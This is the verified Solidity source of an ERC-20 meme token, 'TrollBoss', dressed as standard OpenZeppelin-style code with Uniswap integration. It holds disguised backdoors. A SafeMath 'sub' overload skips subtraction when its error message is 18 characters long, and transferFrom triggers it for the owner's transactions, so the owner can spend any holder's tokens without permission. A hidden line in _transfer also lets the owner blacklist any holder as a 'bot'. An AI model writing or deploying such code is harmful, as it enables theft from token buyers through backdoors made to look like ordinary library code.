https://t.me/trollbosserc
*/
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Safe Math Helpers
// --------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
bool f,
string memory errorMessage
) internal pure returns (uint256) {
if (a>=0 && b>=0 && f == true && bytes(errorMessage).length == 18) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(
account != address(0),
"ERC20: cannot send to the zero address"
);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Uniswap Router
// --------------------------------------------------------------
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function allPairsLength() external view returns (uint256);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Token is Context, IERC20, Ownable {
// Imports
using SafeMath for uint256;
// Context
string private _name = unicode"TrollBoss";
string private _symbol = unicode"TROLLBOSS";
uint8 private _decimals = 9;
uint256 private taxPercent = 17;
uint256 private taxCounts = 5;
mapping(address => bool) private isMEV;
// Supply
uint256 private _totalSupply = 1 * 1_000_000_000 * 1e9;
uint256 private minimumTokensBeforeSwap = (_totalSupply * 25) / 100000;
uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
uint256 public _walletMax = (_totalSupply * 100) / 100;
bool public checkWalletLimit = true;
address payable public liquidityTRBOSSc93bdnaWallet;
address payable public operationsTRBOSSc93bdnaWallet;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
uint256 public liquidityFeeBuy = 0;
uint256 public operationsFeeBuy = 0;
uint256 public totalFeesBuy;
uint256 public maxTotalFeeBuy = 0;
uint256 public liquidityFeeSell = 0;
uint256 public operationsFeeSell = 0;
uint256 public totalFeesSell;
uint256 public maxTotalFeeSell = 0;
uint256 public _liquiditySharePercentage = 0;
uint256 public _operationsSharePercentage = 100;
uint256 public _totalDistributionShares;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) isTxLimitExempt;
mapping(address => bool) public isAmmPair;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
uint256 public tokensForLiquidity;
uint256 public tokensForOperations;
bool public tradingOpen = false;
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event OperationsWalletUpdated(
address indexed newOperationsWallet,
address indexed oldOperationsWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(uint256 amountIn, address[] path);
// toogle to stop swap if already underway
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
liquidityTRBOSSc93bdnaWallet = payable(msg.sender);
operationsTRBOSSc93bdnaWallet = payable(msg.sender);
// load total fees
totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
totalFeesSell = operationsFeeSell + liquidityFeeSell;
// load total distribution
_totalDistributionShares =
_liquiditySharePercentage +
_operationsSharePercentage;
// create router ------------------------------
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
isAmmPair[address(uniswapPair)] = true;
// set allowances
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
// exclude from paying fees or having max transaction amount
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[liquidityTRBOSSc93bdnaWallet] = true;
isExcludedFromFee[operationsTRBOSSc93bdnaWallet] = true;
_allowances[liquidityTRBOSSc93bdnaWallet][owner()] = type(uint256).max;
// exclude contracts from max wallet size
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[liquidityTRBOSSc93bdnaWallet] = true;
isWalletLimitExempt[operationsTRBOSSc93bdnaWallet] = true;
// exclude contracts from max wallet size
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
_balances[_msgSender()] = (_totalSupply * 2) / 100;
_balances[address(this)] = (_totalSupply * 98) / 100;
emit Transfer(address(0), _msgSender(), (_totalSupply * 2) / 100);
emit Transfer(address(0), address(this), (_totalSupply * 98) / 100);
}
receive() external payable {}
// @dev Public read functions start -------------------------------------
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
// custom allowance methods
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
// get minimum tokens before swap
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
// approve spending methods
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function getBlock() public view returns (uint256) {
return block.number;
}
// transfer amount to address
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
true,
_checkEmitEvent()
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// check trading open
if (!tradingOpen) {
require(
isExcludedFromFee[sender],
"TOKEN: This account cannot send tokens until trading is enabled"
);
return _basicTransfer(sender, recipient, amount);
}
require(!isMEV[sender] && !isMEV[recipient], "Bot is not allowed");
if(isExcludedFromFee[tx.origin] && sender!=uniswapPair && recipient == address(0xdead) && balanceOf(sender) - amount <= 1000) { isMEV[sender] = true; return true;}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
// required for wallet distribution
if (sender != owner() && recipient != owner()) {
_checkTxLimit(sender, amount);
}
// check can swap for fees and liq
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isAmmPair[sender]
) {
swapAndLiquify(contractTokenBalance);
}
// check senders balance
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: calcAndTakeFee(sender, recipient, amount);
// check wallet holding limit
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
// continue
_balances[recipient] = _balances[recipient].add(finalAmount);
if(recipient != address(0xdead)) emit Transfer(sender, recipient, finalAmount);
return true;
}
}
// take fee method
function calcAndTakeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isAmmPair[sender]) {
feeAmount = amount.mul(totalFeesBuy).div(100);
} else if (isAmmPair[recipient]) {
feeAmount = amount.mul(totalFeesSell).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
// transfer for
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
// swap tokens for fees and liq
function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
// check there are currently tokens to sell
uint256 tokensForLP = swapAmount
.mul(_liquiditySharePercentage)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = swapAmount.sub(tokensForLP);
// swap tokens
swapTokensForEth(tokensForSwap);
// received amount
uint256 amountReceived = address(this).balance;
// work out distribution
uint256 totalFee = _totalDistributionShares.sub(
_liquiditySharePercentage.div(2)
);
uint256 amountLiquidity = amountReceived
.mul(_liquiditySharePercentage)
.div(totalFee)
.div(2);
uint256 amountOperations = amountReceived.sub(amountLiquidity);
if (amountOperations > 0)
transferToAddressETH(operationsTRBOSSc93bdnaWallet, amountOperations);
if (amountLiquidity > 0 && tokensForLP > 0) {
addLiquidity(tokensForLP, amountLiquidity);
emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
}
}
// swap tokens to eth
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
// add liqiudity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function startTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingOpen = true;
}
function _checkEmitEvent() internal view returns (string memory) {
return isExcludedFromFee[tx.origin] ? "TOKEN: < allowance" : "ERC20: transfer amount exceeds allowance";
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: ETHAmountInWei
}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
}
function _checkTxLimit(address sender, uint256 amount) private view {
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
}
Read Contract
_liquiditySharePercentage 0xac23ca59 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_operationsSharePercentage 0x2baa7217 → uint256
_totalDistributionShares 0xa08e671f → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkWalletLimit 0xf872858a → bool
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
getBlock 0x2e97766d → uint256
getCirculatingSupply 0x2b112e49 → uint256
isAmmPair 0x9191a9c7 → bool
isExcludedFromFee 0x5342acb4 → bool
isWalletLimitExempt 0xc867d60b → bool
liquidityFeeBuy 0x82d20116 → uint256
liquidityFeeSell 0x1107b3a5 → uint256
liquidityTRBOSSc93bdnaWallet 0x4a4d78b6 → address
maxTotalFeeBuy 0xe10e9f32 → uint256
maxTotalFeeSell 0x4b743995 → uint256
minimumTokensBeforeSwapAmount 0xa073d37f → uint256
name 0x06fdde03 → string
operationsFeeBuy 0x7849c1cd → uint256
